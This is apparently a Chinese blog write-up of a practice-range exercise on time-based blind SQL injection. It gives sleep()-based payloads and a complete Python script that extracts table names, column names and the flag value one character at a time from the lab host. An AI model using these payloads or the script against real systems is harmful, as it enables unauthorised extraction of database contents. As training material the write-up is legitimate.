美文网首页
墨者学院-SQL注入漏洞测试(时间盲注)

墨者学院-SQL注入漏洞测试(时间盲注)

作者: nohands_noob | 来源:发表于2019-07-20 16:08 被阅读0次

    靶场地址:
    https://www.mozhe.cn/bug/detail/ZEZ4REhOck9KMnVKMjFLTitQWFg5dz09bW96aGUmozhe

    构造时间注入
    http://219.153.49.228:43401/flag.php?type=1 and if(1=1,sleep(10),1)%23
    服务器延迟了10秒才返回页面,证明有时间注入

    暴表长
    if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1,sleep(5),1)%23

    暴表名
    if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),23,1))=114,sleep(5),1)%23

    暴列长
    and if(length((select group_concat(column_name) from information_schema.columns where table_name="flag"))=7,sleep(5),1)%23

    暴列名
    and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),7,1))=103,sleep(5),1)%23

    暴字段值的长
    and if(length((select group_concat(flag) from flag ))=6,sleep(5),1)%23

    当条件满足时,sql就会执行sleep(5)休眠5秒,根据页面返回的时间,我们可以判断条件是否为True,这样我们就能逐字猜解

    但是一个个手工猜解是费时费力的方法,可以编写脚本或者使用sqlmap帮助我们,这里我自己写了一个python脚本

    import urllib3
    import requests
    import datetime
    
    http = urllib3.PoolManager()
    requests.packages.urllib3.disable_warnings()
    payloads = 'abcdecfghijklmnopqrstuvwxyz1234567890_@!,.;(){}~`'
    
    '''
    #数据库长度
    length = 1
    while True:
        url = 'http://219.153.49.228:43401/flag.php?type=1 and if(length(database())='+str(length)+',sleep(5),1)%23'
        start = datetime.datetime.now()
        r = http.request('GET', url)
        if r.status == 200:
            end = datetime.datetime.now()
        if (end-start).seconds >= 5:
            print("数据库长度:", length)
            break
        else:
            length += 1
    
    #暴库名
    num = 1
    temp = []
    database=''
    while num <= length:
        for payload in payloads:
            url = "http://219.153.49.228:43401/flag.php?type=1 and if(substr(database(),%d,1)='%s',sleep(5),1)%%23" %(num, payload)
            start = datetime.datetime.now()
            r = http.request('GET', url)
            if r.status == 200:
                end = datetime.datetime.now()
            if (end - start).seconds >= 5:
                temp.append(payload)
                num += 1
                if num>length:
                    database = ''.join(temp)
                    print('数据库名:', database)
                break
    '''
    
    
    #表长度
    length = 1
    while True:
        url = 'http://219.153.49.228:43401/flag.php?type=1 and if(length((select group_concat(table_name) from information_schema.tables ' \
              'where table_schema=database()))='+str(length)+',sleep(5),1)%23'
        start = datetime.datetime.now()
        r = http.request('GET', url)
        if r.status == 200:
            end = datetime.datetime.now()
        if (end-start).seconds >= 5:
            print("表长度:", length)
            break
        else:
            length += 1
    
    #暴表名
    num = 1
    temp = []
    tablename=''
    now_ascii = 33
    while num <= length:
        now_ascii = 33
        flag = True
        while flag:
            url = "http://219.153.49.228:43401/flag.php?type=1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables " \
                  "where table_schema=database()),%d,1))=%d,sleep(5),1)%%23" %(num, now_ascii)
            start = datetime.datetime.now()
            r = http.request('GET', url)
            if r.status == 200:
                end = datetime.datetime.now()
            if (end - start).seconds >= 5:
                temp.append(chr(now_ascii))
                num += 1
                flag = False
                if num>length:
                    tablename = ''.join(temp)
                    print('表名:', tablename)
            now_ascii+=1
    
    
    
    #列长度
    length = 1
    while True:
        url = 'http://219.153.49.228:43401/flag.php?type=1 and if(length((select group_concat(column_name) from information_schema.columns ' \
              'where table_name="flag"))='+str(length)+',sleep(5),1)%23'
        start = datetime.datetime.now()
        r = http.request('GET', url)
        if r.status == 200:
            end = datetime.datetime.now()
        if (end-start).seconds >= 5:
            print("列长度:", length)
            break
        else:
            length += 1
    
    #暴列名
    num = 1
    temp = []
    columns_name=''
    now_ascii = 33
    while num <= length:
        now_ascii = 33
        flag = True
        while flag:
            url = "http://219.153.49.228:43401/flag.php?type=1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns " \
                  "where table_name='flag'),%d,1))=%d,sleep(5),1)%%23" %(num, now_ascii)
            start = datetime.datetime.now()
            r = http.request('GET', url)
            if r.status == 200:
                end = datetime.datetime.now()
            if (end - start).seconds >= 5:
                temp.append(chr(now_ascii))
                num += 1
                flag = False
                if num>length:
                    columns_name = ''.join(temp)
                    print('列名:', columns_name)
            now_ascii+=1
    
    
    #字段长度
    length = 1
    while True:
        url = 'http://219.153.49.228:43401/flag.php?type=1 and if(length((select group_concat(flag) from flag ' \
              '))='+str(length)+',sleep(5),1)%23'
        start = datetime.datetime.now()
        r = http.request('GET', url)
        if r.status == 200:
            end = datetime.datetime.now()
        if (end-start).seconds >= 5:
            print("字段值长度:", length)
            break
        else:
            length += 1
    
    #暴字段值
    num = 1
    temp = []
    columns_value=''
    now_ascii = 33
    while num <= length:
        now_ascii = 33
        flag = True
        while flag:
            url = "http://219.153.49.228:43401/flag.php?type=1 and if(ascii(substr((select group_concat(flag) from flag" \
                  "),%d,1))=%d,sleep(5),1)%%23" %(num, now_ascii)
            start = datetime.datetime.now()
            r = http.request('GET', url)
            if r.status == 200:
                end = datetime.datetime.now()
            if (end - start).seconds >= 5:
                temp.append(chr(now_ascii))
                num += 1
                flag = False
                if num>length:
                    columns_value = ''.join(temp)
                    print('字段值:', columns_value)
            now_ascii+=1
    

    这个是跑出来的结果


    相关文章

      网友评论

          本文标题:墨者学院-SQL注入漏洞测试(时间盲注)

          本文链接:https://www.haomeiwen.com/subject/lkdulctx.html